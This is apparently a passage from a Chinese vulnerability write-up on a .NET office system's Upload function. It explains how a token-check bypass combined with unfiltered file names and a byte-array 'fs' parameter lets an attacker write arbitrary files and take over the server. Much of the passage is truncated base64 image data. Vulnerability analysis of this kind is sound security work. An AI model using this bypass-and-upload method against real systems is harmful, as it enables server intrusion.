XHSZnDY8qGPvJXLrzibVnsOIUE4jbQByvpoq9FWIWMDUYfQs+RCx84dayjkU3ui19a0m4Zup8f03MN84EOv4LrPvIOvfetjvO3tL0B50xgWkKpNp1sD0cGJBtBDK0W32yWJY7AJ5XzIyuIMq0cqZEjwTAMRTdBaOk4pU0AZjSdDtBLESR1rHUrmMMYSJx2MbeHopsNSxOQLCRddchbGRIyuyrF2vcDzumTCEEcLxBJKN9F+F6l6HD32CNVBhWUZR50gE7Nm7SClsk+5EpDNgaOJIyJ1GT7hWnxanjqi//VdngoicM7S6/bodHskiWFoaIRnPvOZvPSlLwWgvtLAOodLlS6kSF0M1jo87ZEkCUkcMzE5wcLCAls3babTajEyMsLhI4cpFoqEmQyTU1NUjx4jF2ZTs1+Ivgc5tbiEkpw49Th//onbWIjneO8HXs5Pv/kAD9xxCOeNs37Ddh5//BQjq8ZZWllA+opiMSReaaJMyMryPDL08H0PqXskSY3x8VFqTcWpiVNcfMEeJFUUBpu0GRgfpljIcuiRRQ7t2wcmpkMZp9N7YpxhZnaC2LS57c7beOSBB1iZWcTLFFEywCkFnsKYDoV8Dq0M1grCjKTRaiI9H4dECovAUigViJIGc3PHyeYzDA7XaT5maUV5zj3vHNbtKHDBnvXc/qPH8IsVKpWAQw/ch+jWCPwe3W6XoFhGmQQTG7TqEUU1TLRA1m+TRAmeV0TKItZlcGSo108xWCnyjIvX8dCDVU4dPYFN2vQiGBoch7hNEkUoL8Aa6HUTPKX43s0/4Nabf4g2AflMDmsVCZY4aTEyGrBlSxGpu4yNSA4fPMraNTvo9mIyvocSgihJQCosIJVmbn6BSqXKwsI827ZtZXZurm91SoR05HIBQZCnttyi3V5BK4OQpK4qIXBWYK1CCoVDoJRlx44y5+weotYY4dYf3E+ntUKpWMAaUNLgXII1CZHp4omYMOeztHiS33v77xCQQ6oqQeAxMFSlXHK89fW/zcLUPj712f/O0kqXS55xGR/68Lt5x9vfTy4X0O4u4IRGa4PvFcApSuUsiUlQxMzNHWb1mioLcwcZKpVZWpriD9/zH/jBD/bxox8eo1wuE3VrxLaB9nooUcIaDaJFkqwQmYTQL6NVliSOMK6FkAnOCITrAYtAhLUKJZug2uA6GJNBqRJbto4zMfUQuVyI1h6OHvMLPeKkibFtktiQy5UQQJIoUuVN8DR4PLXkVwQ40gB0kMngEJRLFS599rP5/Xe/i16U4CwMDA7hBRnsGUeAS/3TxnL8xHFe9MIXEWQCpExdGbLvwhJSsrS8zMzsLNlclt969au5/itf4eILL+77f+1pewdI4xS9KEtxYAtqxSDZyczJxxC9NUSUmJ5ZZKASMT9zD11hqDUjrPQIXIUMYxRKHerxNM3FDt2kR2yg0ZwmzKzn/nvmuOqKtWzfEnD8SExQEIwOCubnJjh+cp5ikLCyBKrSoRMZfNug02iTDTss1hbxcgU67RUGMgFd12U5btDu9ZhcmkN6sGX9GpwdwhM+nW6NemuJTLaKNZa8r7BWolQe7Wkmjs0yM1Ni1bphsvcvga6yc/tZ3PSVL5LNOSxLJA4KBc3+2w+SyST4wRKNhmPy8BxrBgsIIxCBRdDGp8XE0QZBAbReZLhaQKgBEgYYHZbsXC/5xg1/S8bTjI8MMXmyTrla4OCBH1PQDQbKWfYfrRNmoFJcjS6GLNcWybLine truncated
|
||||
<p blockindex=36>这套源码就存在了一个较为常见的文件上传。通常oa系统都会需要上传一些文档比如xls表格或者word,pdf等附件之类的用于办公需求,但是如果没有对后缀名进行过滤,那么就会造成黑客通过文件上传漏洞获取服务器权限。</p>
|
||||
<p blockindex=37>比如代码如下Upload函数,token已经通过漏洞1的逻辑缺陷进行了绕过。然后程序获取了FileName以及fs两个参数,其中fs就是文件的内容。</p>
|
||||
<p blockindex=38>fs经过了JsonConvert的反序列化,将字符串内容转换成了Byte数组。</p>
|
||||
<p blockindex=39><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=40>跟进Upload函数,发现FileName就是传递过来的文件名。最后作为一个path给到文件流,文件流最后会写入成真正的文件。</p>
|
||||
<p blockindex=41><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=42>MemoryStream 是一个在内存中创建和操作字节流的类。它继承自 Stream 类,提供了读取和写入字节数组的方法,可以方便地进行内存中的数据操作。也就是说我们传递的http参数fs将会以byte编码的方式传递到fs变量fs变量经过了MemoryStream然后写入到文件。</p>
|
||||
<p blockindex=43>比如http传入的是[97,97,97]这个byte数组那么经过MemoryStream写入文件就是aaa的形式,因为a的ascii码是97</p>
|
||||
<p blockindex=44><img src="data:image/jpeg;base64,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